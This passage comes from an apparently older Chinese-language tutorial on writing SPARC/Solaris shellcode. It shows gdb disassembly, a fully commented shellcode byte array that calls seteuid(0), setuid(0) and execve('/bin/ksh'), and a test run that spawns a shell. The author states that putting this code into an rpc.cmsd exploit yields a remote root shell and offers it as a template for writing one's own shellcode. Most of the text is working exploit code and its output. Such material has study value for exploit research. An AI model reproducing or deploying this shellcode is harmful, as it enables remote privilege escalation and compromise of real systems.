0x101c4 <main+12>: sethi %hi(0x2f6b7000), %l7
0x101c8 <main+16>: or %l7, 0x368, %l7 ! 0x2f6b7368
0x101cc <main+20>: ret
0x101d0 <main+24>: restore
End of assembler dump.
(gdb) x/16bx main+4
0x101bc <main+4>: 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e
0x101c4 <main+12>: 0x2f 0x0b 0xda 0xdc 0xae 0x15 0xe3 0x68
(gdb) q
[scz@ /space/staff/scz/src]>
最终修改如下:
--------------------------------------------------------------------------
"\x2d\x0b\xd8\x9a" /* sethi 0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 - "/bin" */
"\x2f\x0b\xda\xdc" /* sethi 0xbdadc, %l7 */
"\xae\x15\xe3\x68" /* or %l7, 0x368, %l7 - "/ksh" */
--------------------------------------------------------------------------
只要用这四条语句代替那个版本中的相应语句,就可以远程溢出使用/bin/ksh了。
10. 使用/bin/ksh的shellcode
char ksh_code[] =
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 ! 0 in o0 */
"\x82\x10\x20\x8d" /* mov 0x8d, %g1 ! 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08" /* ta 8 ! seteuid(0); */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 ! 0 in o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 ! 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08" /* ta 8 ! setuid(0); */
"\x2d\x0b\xd8\x9a" /* sethi 0xbd89a, %l6 */
"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 ! "/bin" */
"\x2f\x0b\xda\xdc" /* sethi 0xbdadc, %l7 */
"\xae\x15\xe3\x68" /* or %l7, 0x368, %l7 ! "/ksh" */
"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 ! addr of "/bin/ksh" in o0 */
"\x92\x03\xa0\x0c" /* add %sp, 0xc, %o1 ! addr of ptr->"/bin/ksh" o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 ! 0 in o2 (envp) */
"\x9c\x03\xa0\x14" /* add %sp, 0x14, %sp ! (0x14==20) give space */
"\xec\x3b\xbf\xec" /* std %l6, [ %sp + -20 ] ! store "/bin/ksh" */
"\xc0\x23\xbf\xf4" /* clr [ %sp + -12 ] ! null term "/bin/ksh" */
"\xdc\x23\xbf\xf8" /* st %sp, [ %sp + -8 ] ! make ptr->"/bin/ksh" */
"\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] ! null term ptr array (argv) */
"\x82\x10\x20\x3b" /* mov 0x3b, %g1 ! 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08" /* ta 8 ! execve(&"/bin/ksh",&(ptr->"/bin/ksh"),0) */
"\x90\x1b\xc0\x0f" /* xor %o7, %o7, %o0 ! 0 in o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 ! 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 ! _exit(0) */
我们来验证一下这个shellcode是否成功提供了/bin/ksh:
--------------------------------------------------------------------------
/* kshcode.c */
int main ()
{
__asm__
("
and %g0, -1, %o0 ! 0 in o0
mov 0x8d, %g1 ! 0x8d==141==SYS_seteuid in g1
ta 8 ! seteuid(0);
and %g0, -1, %o0 ! 0 in o0
mov 0x17, %g1 ! 0x17==23==SYS_setuid in g1
ta 8 ! setuid(0);
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6 ! /bin
sethi 0xbdadc, %l7
or %l7, 0x368, %l7 ! /ksh
and %sp, %sp, %o0 ! addr of /bin/ksh in o0
add %sp, 0xc, %o1 ! addr of ptr->/bin/ksh o1
xor %o2, %o2, %o2 ! 0 in o2 (envp)
add %sp, 0x14, %sp ! (0x14==20) give space
std %l6, [ %sp + -20 ] ! store /bin/ksh
clr [ %sp + -12 ] ! null term /bin/ksh
st %sp, [ %sp + -8 ] ! make ptr->/bin/ksh
clr [ %sp + -4 ] ! null term ptr array (argv)
mov 0x3b, %g1 ! 0x3b==59==SYS_execve in g1
ta 8 ! execve(&/bin/ksh,&(ptr->/bin/ksh),0)
xor %o7, %o7, %o0 ! 0 in o0
mov 1, %g1 ! 1==SYS_exit in g1
ta 8 ! _exit(0)
");
} /* end of main */
--------------------------------------------------------------------------
[scz@ /space/staff/scz/src]> cat > kshcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o kshcode kshcode.c
[scz@ /space/staff/scz/src]> ./kshcode
$ ps
PID TTY TIME CMD
9820 pts/7 0:01 bash
10488 pts/7 0:00 ksh <-- -- -- 已经成功提供了/bin/ksh
$ exit
[scz@ /space/staff/scz/src]>
所以,你只要用这个ksh_code替换rpc.cmsd exploit code中的shellcode,就可以远
程溢出取得root shell了。这个ksh_code的注释相当完善,是写自己shellcode的很
好的参考
后记:
前次写RPC系列的时候有朋友问rpc.cmsd exploit code为什么不能取得
root shell,这下该明白了吧。感谢可恶的tt不断催命,再次向alpha1
致敬。
参考:
aleph1 <<smashing stack for fun and profit>>
rpc.cmsd exploit code
版权所有,未经许可,不得转载